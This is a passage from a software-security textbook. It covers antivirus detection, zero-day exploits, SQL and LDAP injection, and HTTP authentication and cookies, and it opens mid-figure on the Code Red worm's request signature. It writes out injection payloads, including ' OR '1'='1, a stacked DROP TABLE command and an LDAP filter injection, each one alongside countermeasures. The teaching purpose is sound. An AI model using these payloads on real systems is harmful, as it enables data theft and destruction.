%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3
%u0003%u8b00%u531b%u53ff%u0078%u0000%u000a HTTP/1.0

Fig. 10.7 A signature for the “Code Red” worm

by sending the malicious HTTP GET request shown in the figure to potential victims.
The request led to stack overflow in certain versions of Microsoft’s IIS web servers.
The long sequence of Ns in the signature would in vulnerable systems ensure that
the buffer for incoming requests would be overfilled, and that the return address for
the input function would be overwritten. The last three lines in the signature would
then be executed as CPU instructions which initiated the worm’s harmful effect.
Malware designers use a number of techniques to avoid their products being
detected by signature based AV systems. The basic idea is most often to produce
the malware product in many—perhaps many billions—of variants, so it is difficult
294 10 Software security

to find a single or just a few unambiguous signatures which match it. Nowadays it
is possible with the help of CPU power from a cloud to make many variants in a
very short time. The variations can, for example, be formed by using different forms
of compression (“packing”) of the code, by encryption using different keys, or by
using different CPU instructions in the code so it achieves the same effect in many
different ways.
In a behaviour based AV system a virus or other malicious program is assumed
to behave differently from ordinary programs. This idea is illustrated in Fig. 10.8.
Many malicious programs are for example characterised by abnormal usage of the

Fig. 10.8 Malicious programs behave differently from ordinary programs

operating system or the communication network. If we can recognise this sort of

deviant behaviour, we can detect attacks from malicious software when they take
place. This approach is especially useful when malware uses techniques such as
process hollowing to hide itself, as it will be the process’ deviant behaviour which
reveals that it has been taken over by malware, whereas it is usually hard to define a
suitable signature for the malware code, which can be compressed and/or encrypted
beyond recognition. The big questions here are:
• How do we recognise normal and abnormal behaviour patterns?
• How fast can recognition take place?
• How should we deal with systems which behave abnormally?
Detection of abnormal behaviour can be based on two very different basic strate-
gies, which are very similar to the two strategies used in IDSs that were described
in Chap. 8:
• Misuse detection: You search for characteristic behaviour patterns for known
unwanted behaviour.
• Anomaly detection: You search for behaviour patterns which deviate from the
usual or normal behaviour.
Both strategies use statistical techniques to determine whether the pattern respec-
tively resembles or deviates from what you are comparing it with, and they have the
same problems with false positives and false negatives as IDSs.
10.2 Malicious Code 295

Nobody should feel safe! Malicious programs can attack all types of computer
system, including:
• PCs, MACs and other ordinary computers
• Telephones
• Industrial process equipment
• Smart TVs
• Medical equipment
• Intelligent electricity meters
At the start, almost all attacks were aimed at ordinary computers and most AV
systems were therefore developed for that type of equipment. More recently, attacks
on cellphones—especially smartphones—have become common, and AV systems
for protecting cellphones with Android, iOS and other operating systems are now
readily available. For the other types of system it is difficult to get a picture of the
situation. Some of them are based on the same basic OS as in ordinary computers
and can therefore in principle use AV software developed for the relevant type of OS.
Others are based on very specialised OSs for which there is unlikely to be AV software
available. So protection must instead be based on techniques to prevent software from
entering the system from outside rather than on techniques for detecting malicious
software when it has already made its way into the system.

10.2.3.1 Exploitation of Unpublished Vulnerabilities

Malware always exploits vulnerabilities in the operating system or other software

which is installed. When a new type of unwanted behaviour is observed, developers of
AV systems try to isolate the code which produces this behaviour and to determine
which vulnerabilities it exploits, so that they can develop suitable AV signatures
and, if possible, countermeasures. As long as a vulnerability is not publicly known,
malware designers have an opportunity to make attacks which the designers of the
AV system have never imagined could take place. These so-called zero-day (or
just 0-day) attacks can be immensely effective, simply because there is no planned
protection against them.
In practice there is a race between software developers and hackers to find ex-
ploitable vulnerabilities which have not yet been made public. The hackers do not
necessarily exploit these vulnerabilities themselves, but often treat them as an item
to be traded (often for very large sums of money) with actual attackers who do want
to exploit them. OS developers and other software companies try to find their own
software flaws or encourage others to find them, often in return for a reward for the
information. So-called ethical hackers look on their own initiative for exploitable
flaws, using the same techniques as malicious hackers, and inform the developers if
they find any, usually with the proviso that they will make the information public
after a certain interval, if the developers do not correct the flaw so as to remove the
vulnerability.
296 10 Software security

For the designers of certain types of malware, vulnerabilities which are not
publicly known are of particular interest, as long as they remain unpublished. For
example, the aim of spyware is typically to collect information about users’ activities
and private data and send this information to the operators of the spyware without
this being detected by the owner of the infected system for as long as possible.
Unpublished vulnerabilities offer a way of introducing the spyware into the target
system in a discreet manner which avoids detection. This approach has been used
in a number of systems for surveillance, such as the controversial Pegasus system
developed by the Israeli company NSO. Pegasus is a spyware system which can
be used to target mobile phones running iOS or Android operating systems, and
exploited previously unknown vulnerabilities to achieve privilege escalation, so as
to be able to access the camera, the microphone and data stored in the memory, SIM
card and SD card on the targeted phones, without the user of the phone realising
this. It is also publicly known that government security agencies collect previously
unknown vulnerabilities which can be exploited for various forms of surveillance or
for use in counterattacks to cyberattacks. A clear example of this was the development
of the EternalBlue backdoor malware developed by the NSA in USA on the basis of
an unpublished vulnerability in the implementation of Microsoft’s SMB protocol,
and used for about 5 years until it leaked out (or was stolen), so that Microsoft were
notified and patched the vulnerability.

10.3 SQL Injection

SQL injection is a type of attack on applications which use SQL databases. The
attacker sends the application some specially formed, deviant data, which gets the
database to execute SQL commands which reveal or even alter the database’s contents
in an undesirable way.
Let us for example imagine an application for changing user passwords which
are stored in an SQL database in a table called usertable, which contains user
information such as the username, password, personal name and job title for each
user. A small portion of the table might contain data something like those shown
in Table 10.1 (except in reality the passwords in column pwd would be stored in
encrypted form).

Table 10.1 A portion of the database table usertable

userid pwd pname title
alboo97 ca3%!ghosh7/ Alfrida Boots designer
belog65 tr57p$k8?*nb Bernal Logos texter
carony3 karm.a<75+Vb Caroly Nyqvist CISO
daffro81 sou#qv>6m(g] David G. Ffroth sysarch
... ... ... ...
10.3 SQL Injection 297

The application will typically ask the user to input the user’s userid, old password
and new password, so the dialog between the user and the computer looks something
like the following, where the red text is the user’s input:
• User ID: alboo97
Old password: ca3%!ghosh7/
New password: smart3new?sox
In reality, both the old and new passwords would very probably be “blanked out” on
the screen so they cannot be read by a passer-by, and in many cases the user would
be asked to type in the new password twice for safety’s sake. But for the sake of
example we leave out these details here.
The actual application will update the database with the help of SQL commands
which put the new password for the user with userid alboo97 into the usertable
table. As a first attempt, the developer of the application might perhaps be tempted
to do this in a very simple and direct way, for example:
• UPDATE usertable SET pwd=’smart3new?sox’
WHERE userid=’alboo97’ AND pwd=’ca3%!ghosh7/’;
The various parts of the user’s input have here been inserted into a sort of template
which will do the job: the text after WHERE is a set of conditions which define which
row (or rows) in the table will be updated.
Many SQL-based applications likewise require input where the user has to provide
a userid (for himself or someone else) in order to extract information from the
database. If the user types in the userid alice, to see all information about alice in
the user table, then a simple-minded application developer might get the application
to form the SQL command:
• SELECT * FROM usertable WHERE userid=’alice’;
This will extract all data (indicated by the asterisk, *) from all rows in the table
where the userid field is alice. But if the user wants to attack the database and types
’ OR ’1’=’1 as the userid, then the application will form the SQL command:
• SELECT * FROM usertable WHERE userid=’’ OR ’1’= ’1’;
This extracts all information about all users where the userid is blank or where
’1’=’1’. Since this last condition is always true, the attacker gets all information
about all users in the user table.
Worse still: Many software systems for construction of SQL commands from user
input make it possible to create a whole sequence of commands to be executed one
after another. This leads to the possibility of even more complex attacks. For example
if the user types in:
alice’;
DROP TABLE usertable;
SELECT * FROM userinfo WHERE ’1’=’1
to the same application as above, then it will form the SQL commands:
298 10 Software security

• SELECT * FROM usertable WHERE userid=’alice’;

DROP TABLE usertable;
SELECT * FROM userinfo WHERE ’1’=’1’;
This results in the execution of three SQL commands: Firstly that all information
about alice in the user table is displayed; next, that the entire user table is deleted;
and finally, that all information in the userinfo table is displayed.

10.3.1 Countermeasures

Even if all the previous examples are related to situations in which a userid has to
be typed in, it should be clear that the same problems can arise in many situations
where the user has to input data, irrespective of whether it is a text, a number, a
file name, a date or whatever. SQL injection can occur any time that an application
which has to construct SQL commands based on input data does not check these
data sufficiently. A number of strategies for avoiding injection attacks are therefore
based on better control. For example:
1. Escaping: Before the application constructs an SQL command from user data,
in order to send it to the SQL server, it inserts a “backslash” character (\) before
each character which has a special meaning in SQL commands. Such characters
are often called metacharacters; typically (depending on which SQL database
system you use), the metacharacters are:
single quotation mark (’), double quotation mark ("), backslash (\) and the
NUL character (0x00).
If the user now, as in the previous example, types in ’ OR ’1’=’1 , these input
data will be transformed into \’ OR \’1\’=\’1 and the application will form
an SQL command:
• SELECT * FROM usertable
WHERE userid=’\’ OR \’1\’=\’1’;
The added backslash has the effect that the metacharacters will no longer be
understood by the SQL server as having their special meanings. Thus while a
single quotation mark (’) in SQL indicates the beginning or end of a text string,
\’ stands for a quite ordinary single quotation mark which can appear in a text
string just like other ordinary characters. So now the SQL system will not search
for a blank userid, but will instead search for the (very strange) userid:
’ OR ’1’=’1
This is very unlikely to exist, so the injection attempt will be foiled.
2. Type control: Data which are typed in are checked to see whether they have
a form which is consistent with the type of data expected in the given context.
Numbers, for example, must typically consist of decimal digits, possibly with a
10.4 LDAP Injection 299

single sign (+ or -) and possibly with a single comma or decimal point to separate
the integer part from the fraction. Logical values (true/false) often have to be
written as “yes” or “no”, or as “T” or “F”. Dates must for example be given in
a fixed format such as yyyy-MM-dd. URIs must follow the rules given by the
Internet. And so on.
3. Canonification: Attackers often type in data in an obscure manner, in order to
make it more difficult for the victim to find out what is going on. A popular
technique is to give the input characters in the form of hexadecimal numbers
which correspond to the character’s placing in the character set. This is fully
legal, but not very easy for a human reader to follow. For example the attacker
could type in the text alice as:
%x41%x4c%x49%x43%x45
In this case the text is quite harmless, but in other cases it could be a text
which would lead to SQL injection. To avoid that kind of attack, input data must
be canonified—that is to say, converted to a standard form where characters
represented by hexadecimal numbers are replaced by the characters themselves,
before escaping of metacharacters is carried out.

10.4 LDAP Injection

Lightweight Directory Access Protocol, most often known by the abbreviation LDAP,
is used to get hold of information about subjects and objects within a single system
or an entire, possibly very large, network. Many organisations use LDAP databases
to store information about their employees and other persons associated with the
organisation, and about IT equipment and IT processes within the organisation.
An LDAP database is therefore a goldmine for an attacker who wants to collect
information about the organisation as a basis for a subsequent directed attack.
The information is stored in a hierarchical structure known as a Directory Infor-
mation Tree (often abbreviated to DIT), as in the example in Fig. 10.9. The hierarchy
is organised as a so-called X.500 Directory, where each individual person, adminis-
trative unit and IT unit is described by a set of attributes. An object is identified by
a Distinguished Name (DN), which is a collection of sufficiently many attributes to
unambiguously define the object. Each individual node in the hierarchy (one of the
small boxes in the figure) describes an object of a particular class, with a number of
attributes. Some of the most common classes are shown in Table 10.2.
Figure 10.9 shows a small portion of a DIT from a (completely imaginary) concern
within the medicinal industry. To make the figure easier to find your way round in,
the content of objects in the class person is shown in red, objects in the class device
in blue and objects in the class organization or organizationalUnit in black.
For each object class there are one or more mandatory attributes and a num-
ber of optional attributes. For a person, for example, it is mandatory to provide a
300 10 Software security

DC=sanitas,DC=dk

O=Medico A/S O=MedIT A/S

OU=Probiotics, OU=Antivirus, OU=MedIT Consult, OU=MedIT Analysis,

L=Roskilde L=Horsens L=Staffanstorp L=Lyngby

CN=Per Snuffles, CN=NoviraKarma, CN=Carl Ordrik, CN=Dat Aminer,

T=Section Head, T=Section Head, T=Chief Consultant, T=Ass. CEO,
telephoneNumber= telephoneNumber= telephoneNumber= telephoneNumber=
(+45)46340101, (+45)88357901, (+46)250919, (+45)45219191,
userPassword=... userPassword=... userPassword=... userPassword=...

CN=Marie Croke, CN=RodAkromats, CN=Cluster1024,

T=Chief Analyst, T=Head of Research, description=
telephoneNumber= telephoneNumber= Supercluster A,
(+45)46340102, (+45)88357902, serialNumber=
userPassword=... userPassword=... SCL1024-953127

CN=prob6417a, CN=AV99143r,
description= description=
Laserjet 4700, AVGA Bioreaktor,
serialNumber= serialNumber=
JP5NB98765 AVB91732-5514

Fig. 10.9 An information hierarchy (DIT) for LDAP

surname (SN) or a “common name” (CN), in addition to which there can option-
ally be a password, a phone number, a description and/or a collection of DNs for
other objects (seeAlso) which describe the same person. These could for example
describe the person’s role (organizationalRole), a collection of information about
the person’s residence (residentialPerson) etc. Correspondingly, it is mandatory for
an organisational object (organization) to provide an organization (O) attribute, for
a organisational unit object (organizationalUnit) to provide an organizationalUnit

Table 10.2 Classes of objects in an LDAP Directory (after [79]).

Class The object describes:

Person-related object classes

person A person.
organizationalPerson A person in relation to an organisation.
residentialPerson A person with a description of residence.
Organisation-related object classes
organization A structured group of persons.
organizationalUnit An organisational unit, such as a department.
organizationalRole A function or position in an organisation.
groupOfNames A set of named objects.
Geographical object classes
country A country.
locality A place or area in the physical world.
IT-related object classes
applicationProcess An application which is executed in a computer system.
device A physical IT unit, e.g. a computer or an I/O-unit.
10.4 LDAP Injection 301

Table 10.3 Attributes for identification of objects in an LDAP Directory (after [79]).
Attribute & abbreviation Description

Labelling attributes
commonName, CN The usual name for a person or object.
surname, SN A person’s family name.
givenName A part of a person’s name which is not a family name.
initials A person’s initials.
uid A person’s userid for login.
serialNumber A physical (IT-)unit’s serial number.
Geographical attributes
countryName, C A two-letter abbreviation for a country name.
localityName, L The name of a locality in a country.
stateOrProvinceName, ST The name of a member state or province.
street A street name and house number, etc.
Organisational attributes
organizationName, O The name of a company or institution.
organizationalUnitName, OU The name of a department, group or other unit.
title, T A person’s title or function.
Descriptive attributes
description Descriptive information: interests, keywords, etc.
businessCategory A type of business or branch of industry.
Postal address attributes
postalAddress A postal address.
postalCode A postal code, ZIP-code etc.
Telecommunication attributes
telephoneNumber A telephone number.
facsimileTelephoneNumber A fax number.
internationalISDNNumber An international ISDN number.
domainComponent, DC A component of an Internet name.
Relational attributes
member A collection of DNs for members of a group.
owner A collection of DNs for objects which have ownership responsibility
for the given object.
seeAlso A collection of DNs for other entries in the database which describe
the same object.
Security attributes
userPassword A person’s password.
userCertificate A person’s PKI certificate.

(OU) attribute, for a country object a country (C) attribute, for a locality object
a locality (L) attribute, and so on. The hierarchy can also contain descriptions of
groups and their members (via attribute member) and other details. Table 10.3 shows
some of the most commonly used attributes; they are all identical with the attributes
used in X.500-names [51].
302 10 Software security

Fig. 10.10 Scope in LDAP searches. The filled circle is the chosen base object.
From left to right: base, one and sub.

10.4.1 LDAP Searches

LDAP is a multifunctional client-server protocol, which makes it possible to insert,

modify, delete and search for objects in an LDAP database. Here we focus solely
on searching, as it is this function which in practice is most exposed to attacks.
To search in the database, the client typically constructs a URI which identifies an
LDAP server and specifies where in the DIT hierarchy the search is to take place,
and what is to be searched for. The general form of the URI is:
ldap://host:port/dn?attributes?scope?filter?extensions
The various components of the URI are as follows:
host An Internet name or IP address for the server.
port The number of the port to be used on the server.
dn A DN which identifies the base—the object in the hierarchy, where the
search is to start.
attributes A comma-separated list of attributes, whose values are to be sent back
to the client.
scope The extent of the search in relation to the base. Possible values (see
Fig. 10.10) are:
base the search only includes the base.
one the search includes all successors of the base which lie one level
below the base in the hierarchy.
sub the search includes the base and all its successors in the hierarchy.
filter A set of rules for selection of objects which are to be considered within
the given scope.
extensions A comma-separated list of LDAP extensions which are to be used.
Most of these components can be left out. If host is omitted, the client must be
configured to use a particular server. If port is omitted, TCP port 389 (or, if LDAPS
is used, port 636) is used. If dn is omitted, the empty DN, "", is used, so the search
starts at the top of the hierarchy. If attributes is omitted, all attributes are sent to the
client. If scope is omitted, base is used. If filter is omitted, (objectClass=*) is
10.4 LDAP Injection 303

used, so all types of object within the chosen scope are searched. If extensions is
omitted, no extensions are selected.
Just as with SQL, poorly designed applications which use LDAP can be exposed
to injection, which can reveal very sensitive information about individual IT users
and pieces of IT equipment which are registered in the LDAP database. The attacker
constructs LDAP commands which fetch data from the database in an improper
manner. For example, a phonebook application might have normal user input (shown
in red):
• UserID: Alfred Nobel
The actual application might then send an LDAP search command to the server by
constructing a URI:
• ldap://www.univ.dk/?cn,telephoneNumber?sub?(CN=Alfred Nobel)
The server would respond to this by sending the desired attributes – here the name
and phone number—for the person Alfred Nobel, which it retrieves from the LDAP
database, and the application would pass these on to the user, for example as follows:
• CN = Alfred Nobel
tlf = 4521 0002
If the attacker instead provides the following input to the application:
• UserID: *
the application will then send an LDAP search command by constructing the URI:
• ldap://www.univ.dk/?cn,telephoneNumber?sub?(CN=*)
The result of this would be information about all persons in the LDAP database
which the user (the attacker) is allowed to see.
Filter elements in LDAP er logical expressions which can be combined with the
logical operators & (’and’), | (’or’) and ! (’not’). This makes it possible to construct
very complex filter rules, but also makes injection attacks possible. In the above
examples, only a simple filter of the form:
(CN=xxxxx)
is used, where xxxxx is the name of the person whose phone number the user is
looking for. But the search will in fact look at all objects below the base in the
hierarchy, regardless of what they describe. The result of the search will therefore
possibly give results taken from several places where the named person is mentioned.
The developer of the application might then give way to the temptation of forming
a narrower filter of the form:
(&(ObjectClass=person)(CN=xxxxx))
This means that only objects where both the object class is person and the person’s
name is xxxxx will contribute to the result. Unfortunately this allows injection to
take place. If, for example, the attacker types in:
304 10 Software security

Table 10.4 Metacharacters in LDAP and their representations after escaping

Character After escaping Character After escaping

ampersand & \26 left parenthesis ( \28

right parenthesis ) \29 asterisk * \2a
slash / \2f less than < \3c
equal to = \3d greater than > \3e
backslash \ \5c vertical bar | \7c
tilde ˜ \7e NUL-character 0x00 \00

• UserID: *)(userPassword="")
then the application will construct the filter:
(&(ObjectClass=person)(CN=*)(userPassword=""))
which will reveal the name and phone number of all persons, with any name, who
have an empty password. It requires quite a lot of careful thought to formulate the
necessary components in the LDAP URI, especially in the filter, if you want to avoid
undesirable behaviour of this type.
Just as in the case of SQL injection, it is necessary to check the user’s input in
order to avoid LDAP injection. Many forms of attack can, for example, be avoided
by using type control or escaping of the metacharacters, which play a special role
in the formulation of LDAP filters. The metacharacters are replaced by a backslash
followed by the two hexadecimal digits which represent the metacharacter, before
the LDAP command is constructed. Table 10.4 shows the characters and their values
after escaping.

10.5 HTTP-based Applications

As we have seen in Chap. 6, HTTP is a client/server protocol for handling documents.

• The client is (typically) integrated in a webbrowser.
• The server is a webserver, somewhere in Cyberspace. . .
• The conversation between the client and the server consists of a series of ex-
changes. In each exchange:
– The client sends a request which
· Identifies a resource by specifying a path to a file on the server.
· Specifies an action (a “method”) to be performed on the resource.
· Possibly supplies details of rules to be followed when the action is per-
formed.
– The server replies with a response, which gives status information and possibly
further explanation of what has happened.
An attacker can base an attack on HTTP by, amongst other things:
10.5 HTTP-based Applications 305

• Modifying HTTP header fields, which are used to transfer further details in
requests and responses.
• Forging authentication data which have to be exchanged in order to obtain au-
thorisation to perform the desired action.
• Manipulating cookies or similar items used to keep track of transactions—that
is to say, sequences of related HTTP exchanges which are intended to have an
overall effect.
• Manipulating HTTP user data, such as data sent in webforms for processing by
an application.
• Manipulating the URI.
• Sending false scripts, for example in PHP, JavaScript etc., which are executed by
the user in good faith.
In this section we look at some of these mechanisms.

10.5.1 HTTP Authentication

Authentication in HTTP is based on a Challenge-Response mechanism initiated

by the server when the client tries to access a protected resource. It is possible to
authenticate the client alone or to mutually authenticate the client and server to one
another. The protocol is as follows:
• The client sends an HTTP request to access a resource.
• Challenge: The server sends an HTTP response to the client, with the error code
401 Unauthorised.
• Response: The client sends a new HTTP request which contains an
Authorization header field with authentication data.
• The server replies with a suitable positive or negative HTTP response. (If mutual
authentication is required, this response contains the server’s authentication data
in an Authentication-Info header field.)
Within this general framework, there are two forms of authentication: Basic Authen-
tication and Digest Authentication.

10.5.1.1 HTTP Basic Authentication

This simple form of authentication, which is described in Internet RFC7617 [73],

works as follows:
• Challenge: A string which identifies which realm the protected resource belongs
to—that is, the area on the server which the client asks for permission to access.
It is the server which decides which resources lie in which realm and what the
realms are called. Often just the server’s name is used, possibly with the addition
of the name of the group of users who have access to the area.
306 10 Software security

• Response: A base64 encoding of Userid and Password, separated by a colon (the

character ’:’).
An example can be seen in Fig. 10.11

Step Direction Request or response

1. request PUT /groggy/news.html HTTP/1.1

Host www.molester.dk

[New content for resource]

2. response HTTP/1.1 401 Unauthorized
Date: Tue, 13 Dec 2022 09:34:59 EST
WWW-Authenticate: Basic realm="NewsProtect",
3. request PUT /groggy/news.html HTTP/1.1
Host www.molester.dk
Authorization: Basic dGJvbmVzOkFscGgwMm5VbT8=

[New content for resource]

4. response HTTP/1.1 200 OK
Date: Tue, 13 Dec 2022 09:36:05 EST

Fig. 10.11 Basic Authentication in HTTP

A Short Interlude: Base64 Encoding

Base64 encoding is a transformation of binary data—sequences of bits—to a se-

quence of characters from a 64-character alphabet. The steps in the transformation
are as follows:
1. Group the binary data into sequences of 3 bytes (=24 bits).
• If necessary, fill out to a multiple of 3 bytes by adding a suitable number of
0-bits as padding after the last byte.
2. Divide each sequence of 3 bytes up into 4 sequences of 6 bits.
3. Encode each 6-bit sequence as a character, as specified in the encoding table. As
there are 64 possible 6-bit sequences, the table will always contain 64 elements,
which are customarily chosen from the printable characters. For HTTP authen-
tication, the same table is used as for Base64 encoding of non-ASCII characters
according to the MIME standards [39]. This is shown in Table 10.5.
4. If 8 padding bits were added in Step 1, replace the last character from Step 3 by
an equals sign (=). If 16 padding bits were added, replace the last two characters
from Step 3 by equals signs.
An example where “data” are just some text can be seen in Fig. 10.12. Each
character in the text is represented by one byte (8 bits) in “ASCII code”.
10.5 HTTP-based Applications 307

Table 10.5 Coding table for Base64 encodning (from RFC2045 [39])
Bit sequence Dec. Char. Bit sequence Dec. Char. Bit sequence Dec. Char. Bit sequence Dec. Char.

000000 0 A 010000 16 Q 100000 32 g 110000 48 w

000001 1 B 010001 17 R 100001 33 h 110001 49 x
000010 2 C 010010 18 S 100010 34 i 110010 50 y
000011 3 D 010011 19 T 100011 35 j 110011 51 z
000100 4 E 010100 20 U 100100 36 k 110100 52 0
000101 5 F 010101 21 V 100101 37 l 110101 53 1
000110 6 G 010110 22 W 100110 38 m 110110 54 2
000111 7 H 010111 23 X 100111 39 n 110111 55 3
001000 8 I 011000 24 Y 101000 40 o 111000 56 4
001001 9 J 011001 25 Z 101001 41 p 111001 57 5
001010 10 K 011010 26 a 101010 42 q 111010 58 6
001011 11 L 011011 27 b 101011 43 r 111011 59 7
001100 12 M 011100 28 c 101100 44 s 111100 60 8
001101 13 N 011101 29 d 101101 45 t 111101 61 9
001110 14 O 011110 30 e 101110 46 u 111110 62 +
001111 15 P 011111 31 f 101111 47 v 111111 63 /

1. The text "Maria" is represented by:

| M | a | r | i | a |
|0|1|0|0|1|1|0|1|0|1|1|0|0|0|0|1| 0|1|1|1|0|0|1|0|0|1|1|0|1|0|0|1|0|1|1|0|0|0|0|1|
which is padded out to a multiple of 24 bits:
| M | a | r | i | a |
|0|1|0|0|1|1|0|1|0|1|1|0|0|0|0|1| 0|1|1|1|0|0|1|0|0|1|1|0|1|0|0|1|0|1|1|0|0|0|0|1|0|0|0|0|0|0|0|0|

2. The bit sequence is divided into groups of 6 bits.

3. Each group is replaced by the character given in the coding table:
|0|1|0|0|1|1|0|1|0|1|1|0|0|0|0|1| 0|1|1|1|0|0|1|0|0|1|1|0|1|0|0|1|0|1|1|0|0|0|0|1|0|0|0|0|0|0|0|0|
| T | W | F | y | a | W | E | A |

4. Replace the last characters by "=", dep. on number of padding bits.

Final result: TWFyaWE=

Fig. 10.12 Base64 encoding of a piece of text

10.5.1.2 HTTP Digest Authentication

Digest authentication in HTTP, which is described in Internet RFC7616 [81], gives

a stronger form of authentication, as it uses a cryptographic hash algorithm to hide
the password and a nonce to protect against replaying. It also allows the server to
select different degrees of protection by optionally specifying a value for the desired
quality of protection (often just known as a qop value). If the server’s Challenge
specifies a qop value, the client must provide a nonce, cnonce, which it has chosen
for itself, in its Response. This helps to protect against attackers which try to find
the password by a known cleartext attack. The client’s Response must also contain a
308 10 Software security

nonce counter value, nc, which is used to count how many times the client has sent a
Response in reply to a Challenge with the nonce specified by the server. This makes
it possible for the server to see whether a Response is a replay.
• Challenge: The realm of the protected resource, hash algorithm, nonce and
(optional) qop.
• Response: Realm, hash algorithm, nonce, uri, userid, a hash-based response
value, and (if the Challenge contained a qop value) qop, cnonce and nc.
The Response value is evaluated in three steps which depend on which qop was
chosen. In the most common version, where qop=auth, the steps are:
1. Evaluate HA1 = H (userid:realm:password), where H is the chosen hash function,
which by default is MD5.
2. Evaluate HA2 = H (method:uri)
3. Evaluate the Response value as H (HA1:nonce:nc:cnonce:qop:HA2)
If qop is not specified in the Challenge, the client must not supply a cnonce or nc,
and nc:cnonce:qop is omitted from this last calculation, so the Response value is
reduced to H (HA1:nonce:HA2), as in the original version of the protocol described
in RFC2069.
An example can be seen in Fig. 10.13.

Step Direction Request or response

1. request PUT /groggy/news.html HTTP/1.1

Host www.molester.dk

[New content for resource]

2. response HTTP/1.1 401 Unauthorized
Date: Tue, 13 Dec 2022 06:34:57 EST
WWW-Authenticate: Digest realm="NewsProtect",
qop="auth", algorithm=SHA-256,
nonce="dcd98b7102caf0f8b11a5f600bfb0b093"
3. request POST /groggy/news.html HTTP/1.1
Host www.molester.dk
Authorization: Digest realm="NewsProtect", algorithm=SHA-256,
nonce="dcd98b7102caf0f8b11a5f600bfb0b093",
response="753927fa0e85d155564e2e272a28d180
2ca10daf4496794697cf8db5856cb6c1",
uri="/groggy/news.html", username="tbones",
qop="auth", nc=00000001, cnonce="17b26ff0"

[New content for resource]

4. response HTTP/1.1 200 OK
Date: Tue, 13 Dec 2022 06:36:07 EST

Fig. 10.13 Digest authentication in HTTP

10.5 HTTP-based Applications 309

10.5.1.3 Vulnerabilities in HTTP Authentication

Both forms of authentication in HTTP have vulnerabilities.

• Basic authentication is very weak:
– Userid and password are sent in Base64 encoding, which anyone with just a
modest knowledge of IT can read by converting the encoded value back to the
original text. You can find small apps on the Internet which can do this.
• Digest authentication is considerably stronger:
– The password is sent encrypted (actually as part of a hash value).
– Replay is avoided by including a nonce in the calculation of the hash value,
and possibly by using a client nonce, cnonce, and a nonce counter, nc.
BUT: if no hash algorithm is specified, then MD5 is used. This is a weak hash
function which is not completely collision resistent. It is strongly recommended
to use a stronger algorithm, such as SHA2-256.
More fundamentally, the problem is that authentification uses a userid and password
to identify the client. The method is therefore exposed to the same risks as any other
authentification method based on the same approach. It also has the weakness that
the client authenticates itself to the server, but not vice versa, so a client can be fooled
into giving information to a false HTTP server.
If both methods are thought to be too weak, there are at least two alternatives
which are notably more secure. The most obvious one is not to use HTTP but
HTTPS, so the parties can use TLS’ possibilities for authentication and protection
of credentials which are to be sent to and fro. Another possibility is for the parties to
authenticate one another by using Kerberos, as described in Sect. 9.1.5; This solution
is often preferred in Windows-based systems.

10.5.2 HTTP Cookies

HTTP request/response exchanges are independent of one another. Cookies are

exchanged in order to create and maintain a context, such as a “session” or transaction
with several related exchanges. A simple example:
1. The user starts a web application by logging in. The client sends the user’s userid
and password to the server.
2. The server sends the client a cookie with the userid and password, and an identi-
fication for the current session.
3. The cookie is sent to the server on every subsequent approach by the client, so it
is not necessary to log in again.
A cookie is a portion of text with information about the transaction and rules
for how the cookie is to be dealt with. It is sent from the server to the client in a
310 10 Software security

HTTP/1.1 200 OK
Set-Cookie: Customer="Fred-Snooks-261"; Cookie value
Domain="wshop.co.uk"; Domains where cookie is valid
Path="/bigbuy"; Paths where cookie is valid
Cookie name Max-age="3000"; Maximum age (seconds)
Secure Send via secure channel
Fig. 10.14 A cookie transmitted in an HTTP response from a server to a client

Set-Cookie header field in an HTTP response. An example can be seen in Fig. 10.14.
As can be seen, each cookie is described by a name and value and optionally a list
of attributes which specify where the cookie is valid, for how long it is valid and
possibly some restrictions on how the cookie may be sent to servers by the client. The
name and value are strings of printable characters, where the value may optionally
be surrounded by quotation marks “ ”.
The attributes which the server can use in a Set-Cookie header field are cur-
rently [10]:
Expires which specifies the date and time at which the cookie will automatically
cease to be valid.
Max-Age which specifies the number of seconds for which the cookie is valid.
Domain which specifies the Internet domain to which the cookie may be sent by
the client. This means that the set of computers which may receive the
cookie from the client is limited to all computers in the given domain
and its sub-domains.
Path which specifies the subset of URIs on the server to which the cookie
applies.
Secure Which specifies that the client must only send the cookie via a secure
channel, typically one secured by SSL/TLS.
HttpOnly which specifies that the client must not allow access to the cookie
via channels other than HTTP or HTTPS requests. In particular, this
prohibits access via client-side scripting languages such as JavaScript,
and therefore prevents theft of the cookie by cross-site scripting.
The client is expected to store the received cookie in a cookie store associated with
the client (typically the web browser), together with the time of its creation and latest
modification. If the client receives a cookie with the same name as an already stored
cookie, the old cookie will be replaced by the new one. If a client receives a cookie
with an expiry date/time in the past, it must delete the cookie with that name from
the store. The client may refuse to store the cookie if it is malformed or if the store
is too full.
A cookie with the Expires or Max-Age attribute is known as a persistent cookie
and becomes automatically invalid when the expiry date/time is reached or the
interval runs out. If both attributes are present, Max-Age has precedence. If neither
are present, the cookie is non-persistent and becomes automatically invalid as soon
as the client closes down.
10.5 HTTP-based Applications 311

Step Direction Request or response

1. request POST /bigbuy/login HTTP/1.1

HOST wshop.co.uk
[data in webform to identify customer]
2. response HTTP/1.1 200 OK
Set-Cookie: Client="Eddie-Crack-507"; Path=/bigbuy;
Expires=Tue, 15 Feb 2028 23:45:01 GMT
3. request POST /bigbuy/catalog HTTP/1.1
HOST wshop.co.uk
Cookie: Client="Eddie-Crack-507"
[data in webform for items chosen by customer]
4. response HTTP/1.1 200 OK
Set-Cookie: Item="Hacksaw-053"; Path=/bigbuy
5. request POST /bigbuy/delivery HTTP/1.1
HOST wshop.co.uk
Cookie: Client="Eddie-Crack-507";
Item="Hacksaw-053"
[data in webform for selecting means of delivery]
6. response HTTP/1.1 200 OK
Set-Cookie: Delivery="Cycle-001"; Path=/bigbuy
7. request POST /bigbuy/checkout HTTP/1.1
HOST wshop.co.uk
Cookie: Client="Eddie-Crack-507";
Item="Hacksaw-053";
Delivery="Cycle-001"
[data in webform to finalise purchase]
8. response HTTP/1.1 200 OK

Fig. 10.15 An HTTP session with cookies Only the cookie-related header fields are shown

Cookies should be removed from the cookie store when they become invalid, but
the client may in fact remove cookies from the store at any time, in order to create
more free space in the store. Most modern web browsers indeed offer a user interface
so that deletion of stored cookies can take place at any time under user control.
A client can correspondingly send information to a server in a Cookie header
field, which can carry one or more name-value pairs of cookies which it has stored.
The cookies’ attributes are not sent to the server, but are solely used to control the
behaviour of the client.
An example of a complete session, in which a customer, Eddie Crack, buys a
hacksaw to be delivered by bike, is shown in Fig. 10.15. In the course of this session,
